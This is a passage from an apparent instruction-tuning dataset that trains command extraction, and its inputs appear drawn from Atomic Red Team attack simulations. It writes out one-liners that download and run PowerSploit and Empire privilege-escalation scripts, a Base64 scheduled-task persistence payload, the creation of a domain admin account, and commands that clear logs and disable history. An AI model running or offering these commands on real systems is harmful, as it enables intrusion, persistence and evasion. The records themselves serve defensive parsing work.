$_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This Qakbot-inspired persistence technique involves storing a ping command in Base64 format within the registry, then setting up a daily scheduled task using these commands:\nreg add HKCU\\SOFTWARE\\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f\nschtasks.exe /Create /F /TN \"ATOMIC-T1053.005\" /TR \"cmd /c start /min \\\"\\\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\\\SOFTWARE\\\\ATOMIC-T1053.005).test)))\" /sc daily /st #{time}; To demonstrate modification of a scheduled task's action in the Windows TaskScheduler Operational log, first create a task to launch cmd.exe and then change it to notepad.exe using the following command:\n$Action = New-ScheduledTaskAction -Execute \"cmd.exe\"\n$Trigger = New-ScheduledTaskTrigger -AtLogon\n$User = New-ScheduledTaskPrincipal -GroupId \"BUILTIN\\\\Administrators\" -RunLevel Highest\n$Set = New-ScheduledTaskSettingsSet\n$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set\nRegister-ScheduledTask AtomicTaskModifed -InputObject $object\n$NewAction = New-ScheduledTaskAction -Execute \"Notepad.exe\"\nSet-ScheduledTask \"AtomicTaskModifed\" -Action $NewAction",
    "output": "{\"command_list\": [\"reg add HKCU\\\\SOFTWARE\\\\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f\\nschtasks.exe /Create /F /TN \\\"ATOMIC-T1053.005\\\" /TR \\\"cmd /c start /min \\\\\\\"\\\\\\\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\\\\\\\SOFTWARE\\\\\\\\ATOMIC-T1053.005).test)))\\\" /sc daily /st #{time}\\n\", \"$Action = New-ScheduledTaskAction -Execute \\\"cmd.exe\\\"\\n$Trigger = New-ScheduledTaskTrigger -AtLogon\\n$User = New-ScheduledTaskPrincipal -GroupId \\\"BUILTIN\\\\Administrators\\\" -RunLevel Highest\\n$Set = New-ScheduledTaskSettingsSet\\n$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set\\nRegister-ScheduledTask AtomicTaskModifed -InputObject $object\\n$NewAction = New-ScheduledTaskAction -Execute \\\"Notepad.exe\\\"\\nSet-ScheduledTask \\\"AtomicTaskModifed\\\" -Action $NewAction\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    A new Domain User can be created by executing this command, which utilizes the current user's credentials:\n$SamAccountName = '#{username}'\n$AccountPassword = ConvertTo-SecureString '#{password}' -AsPlainText -Force\nAdd-Type -AssemblyName System.DirectoryServices.AccountManagement\n$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain)\n$User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList ($Context)\n$User.SamAccountName = $SamAccountName\n$TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword)\n$User.SetPassword($TempCred.GetNetworkCredential().Password)\n$User.Enabled = $True\n$User.PasswordNotRequired = $False\n$User.DisplayName = $SamAccountName\n$User.Save()\n$User; You can create a domain admin account by executing this command: echo \"dn: CN=Admin User,CN=Users,DC=#{domain},DC=#{top_level_domain}\\nchangetype: add\\nobjectClass: top\\nobjectClass: person\\nobjectClass: organizationalPerson\\nobjectClass: user\\ncn: Admin User\\nsn: User\\ngivenName: Atomic User\\nuserPrincipalName: adminuser@#{domain}.#{top_level_domain}\\nsAMAccountName: adminuser\\nuserAccountControl: 512\\nuserPassword: {CLEARTEXT}s3CureP4ssword123!\\nmemberOf: CN=Domain Admins,CN=Users,DC=#{domain},DC=#{top_level_domain}\" > tempadmin.ldif\necho ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif\nldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif",
    "output": "{\"command_list\": [\"$SamAccountName = '#{username}'\\n$AccountPassword = ConvertTo-SecureString '#{password}' -AsPlainText -Force\\nAdd-Type -AssemblyName System.DirectoryServices.AccountManagement\\n$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain)\\n$User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList ($Context)\\n$User.SamAccountName = $SamAccountName\\n$TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword)\\n$User.SetPassword($TempCred.GetNetworkCredential().Password)\\n$User.Enabled = $True\\n$User.PasswordNotRequired = $False\\n$User.DisplayName = $SamAccountName\\n$User.Save()\\n$User\\n\", \"echo \\\"dn: CN=Admin User,CN=Users,DC=#{domain},DC=#{top_level_domain}\\\\nchangetype: add\\\\nobjectClass: top\\\\nobjectClass: person\\\\nobjectClass: organizationalPerson\\\\nobjectClass: user\\\\ncn: Admin User\\\\nsn: User\\\\ngivenName: Atomic User\\\\nuserPrincipalName: adminuser@#{domain}.#{top_level_domain}\\\\nsAMAccountName: adminuser\\\\nuserAccountControl: 512\\\\nuserPassword: {CLEARTEXT}s3CureP4ssword123!\\\\nmemberOf: CN=Domain Admins,CN=Users,DC=#{domain},DC=#{top_level_domain}\\\" > tempadmin.ldif\\necho ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif\\nldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To clear all Docker container logs and remove entries, use the following command: docker container prune -f && sudo truncate -s 0 /var/lib/docker/containers/*/*-json.log; To prevent PowerShell from saving command history, use the following command: Set-PSReadlineOption -HistorySaveStyle SaveNothing",
    "output": "{\"command_list\": [\"docker container prune -f && sudo truncate -s 0 /var/lib/docker/containers/*/*-json.log\\n\", \"Set-PSReadlineOption -HistorySaveStyle SaveNothing\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The script leverages the NamedPipe technique to impersonate SYSTEM context, which can be executed via this PowerShell command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique NamedPipe -Verbose; To leverage PowerShell and Empire's GetSystem module, which utilizes SeDebugPrivilege to impersonate another process's token, run the following command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique Token -Verbose",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique NamedPipe -Verbose\\n\", \"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique Token -Verbose\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For creating an Alternate Data Stream in PowerShell, use the command: echo \"test\" > #{file_name} | set-content -path test.txt -stream #{ads_filename} -value \"test\"\nset-content -path #{file_name} -stream #{ads_filename} -value \"test2\"\nset-content -path . -stream #{ads_filename} -value \"test3\"\n. Ensure you have the necessary write permissions and verify the results with the provided verification steps.; The process involves making an Alternate Data Stream directory and file, which requires write access. Run the command: \nmd #{folder_name}\necho too many secrets > #{folder_name}\\#{hidden_filename}\n. Post-execution, check the stream's presence with 'dir /A /Q /R' in %temp%, and access the hidden data by typing 'type %temp%\\...$.......::$index_allocation\\secrets.txt'.",
    "output": "{\"command_list\": [\"echo \\\"test\\\" > #{file_name} | set-content -path test.txt -stream #{ads_filename} -value \\\"test\\\"\\nset-content -path #{file_name} -stream #{ads_filename} -value \\\"test2\\\"\\nset-content -path . -stream #{ads_filename} -value \\\"test3\\\"\\n\", \"md #{folder_name}\\necho too many secrets > #{folder_name}\\\\#{hidden_filename}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To establish uncensored internet access through Psiphon 3's VPN, SSH, and HTTP Proxy technologies, execute this command: & \"PathToAtomicsFolder\\T1090.003\\src\\Psiphon.bat\". The process will be automatically terminated after connection.; For background onion routing functionality, execute the following sequence which launches Tor for 60 seconds:\ninvoke-expression 'cmd /c start powershell -Command {cmd /c \"#{TorExe}\"}'\nsleep -s 60\nstop-process -name \"tor\" | out-null\n",
    "output": "{\"command_list\": [\"& \\\"PathToAtomicsFolder\\\\T1090.003\\\\src\\\\Psiphon.bat\\\"\\n\", \"invoke-expression 'cmd /c start powershell -Command {cmd /c \\\"#{TorExe}\\\"}'\\nsleep -s 60\\nstop-process -name \\\"tor\\\" | out-null\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to 